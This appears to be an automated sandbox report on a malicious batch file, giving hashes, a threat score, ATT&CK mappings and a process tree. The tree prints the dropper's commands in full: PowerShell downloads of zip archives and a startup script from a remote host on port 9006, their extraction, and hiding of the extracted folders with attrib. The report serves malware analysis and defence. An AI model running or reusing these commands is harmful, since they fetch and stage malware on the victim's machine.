bc8ad4687d5b06fbcd16b1a119b0cec10b8063ff0154dcacc6e3e30a5ce9f2ba

General

Target

02102024_0159_new.bat
Size

17.0MB
MD5

3a6a863c82f5ad5ff271a7c740c1ab88
SHA1

a85966b120a257211a5f2a245ac94244d5a77019
SHA256

bc8ad4687d5b06fbcd16b1a119b0cec10b8063ff0154dcacc6e3e30a5ce9f2ba
SHA512

79f8309de480b45d21520f18180ade1367217955e8e6e50b1251b28921bd8a5f2382382c21a5ef556282fb37dabb7337425a3bd658d10f8d417c5b21e022e10d
SSDEEP

768:U6MPI1xfXAU2HVp93Cs5MJVBIkCm6M2EHC5w+wLfm6/95h65uvh3E1cQAAaBq3If:U145

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2784	powershell.exe
2080	powershell.exe
2228	powershell.exe
1596	powershell.exe
2952	powershell.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2736	timeout.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2228	powershell.exe
1596	powershell.exe
2784	powershell.exe
2080	powershell.exe
2952	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2228	powershell.exe
Token: SeDebugPrivilege	1596	powershell.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	2080	powershell.exe
Token: SeDebugPrivilege	2952	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2328 wrote to memory of 2228	2328	cmd.exe	31
PID 2328 wrote to memory of 2228	2328	cmd.exe	31
PID 2328 wrote to memory of 2228	2328	cmd.exe	31
PID 2328 wrote to memory of 1596	2328	cmd.exe	32
PID 2328 wrote to memory of 1596	2328	cmd.exe	32
PID 2328 wrote to memory of 1596	2328	cmd.exe	32
PID 2328 wrote to memory of 2736	2328	cmd.exe	33
PID 2328 wrote to memory of 2736	2328	cmd.exe	33
PID 2328 wrote to memory of 2736	2328	cmd.exe	33
PID 2328 wrote to memory of 2768	2328	cmd.exe	34
PID 2328 wrote to memory of 2768	2328	cmd.exe	34
PID 2328 wrote to memory of 2768	2328	cmd.exe	34
PID 2328 wrote to memory of 2784	2328	cmd.exe	35
PID 2328 wrote to memory of 2784	2328	cmd.exe	35
PID 2328 wrote to memory of 2784	2328	cmd.exe	35
PID 2328 wrote to memory of 2080	2328	cmd.exe	36
PID 2328 wrote to memory of 2080	2328	cmd.exe	36
PID 2328 wrote to memory of 2080	2328	cmd.exe	36
PID 2328 wrote to memory of 2952	2328	cmd.exe	37
PID 2328 wrote to memory of 2952	2328	cmd.exe	37
PID 2328 wrote to memory of 2952	2328	cmd.exe	37
PID 2328 wrote to memory of 2632	2328	cmd.exe	38
PID 2328 wrote to memory of 2632	2328	cmd.exe	38
PID 2328 wrote to memory of 2632	2328	cmd.exe	38

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2768	attrib.exe
2632	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\02102024_0159_new.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipmng.site:9006/DXJS.zip' -OutFile 'C:\Users\Admin\Downloads\DXJS.zip' }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "& { Expand-Archive -Path 'C:\Users\Admin\Downloads\DXJS.zip' -DestinationPath 'C:\Users\Admin\Downloads' -Force }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1596
- C:\Windows\system32\timeout.exe
  timeout /t 5 REM Wait for extraction to finish (adjust timeout as needed)
  2⤵
  - Delays execution with timeout.exe
  PID:2736
- C:\Windows\system32\attrib.exe
  attrib +h "C:\Users\Admin\Downloads\Python"
  2⤵
  - Views/modifies file attributes
  PID:2768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipmng.site:9006/startupppp.bat' -OutFile 'C:\Users\Admin\Downloads\startupppp.bat' }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipmng.site:9006/FTSP.zip' -OutFile 'C:\Users\Admin\Downloads\FTSP.zip' }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "& { Expand-Archive -Path 'C:\Users\Admin\Downloads\FTSP.zip' -DestinationPath 'C:\Users\Admin\Downloads' -Force }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2952
- C:\Windows\system32\attrib.exe
  attrib +h "C:\Users\Admin\Downloads\Print"
  2⤵
  - Views/modifies file attributes
  PID:2632

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

1

T1564.001

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
3d93be3762fdae0c03d225a921618c19

SHA1
b2e972b17c184550a61ff7bd2101126b0b7bfdc2

SHA256
0992bd22ee28dc52633d4f47a168dd271779b4303c6da7c7ea5b88cf6952cef6

SHA512
b3c41b03699ee737d07484bb92528d162cf6b94ee81df02b249d66920b4bac7332a27ae723a11957d357a16f346d6e7d0312bc785aaf2fa91d626680aa405451

Download Submit
memory/1596-17-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download
memory/1596-18-0x0000000001D80000-0x0000000001D88000-memory.dmp

Filesize
32KB

Download
memory/2228-4-0x000007FEF64CE000-0x000007FEF64CF000-memory.dmp

Filesize
4KB

Download
memory/2228-5-0x000000001B710000-0x000000001B9F2000-memory.dmp

Filesize
2.9MB

Download
memory/2228-7-0x000007FEF6210000-0x000007FEF6BAD000-memory.dmp

Filesize
9.6MB

Download
memory/2228-6-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/2228-8-0x000007FEF6210000-0x000007FEF6BAD000-memory.dmp

Filesize
9.6MB

Download
memory/2228-9-0x000007FEF6210000-0x000007FEF6BAD000-memory.dmp

Filesize
9.6MB

Download
memory/2228-11-0x000007FEF6210000-0x000007FEF6BAD000-memory.dmp

Filesize
9.6MB

Download
memory/2228-10-0x000000000227B000-0x00000000022E2000-memory.dmp

Filesize
412KB

Download

Analysis

Sharing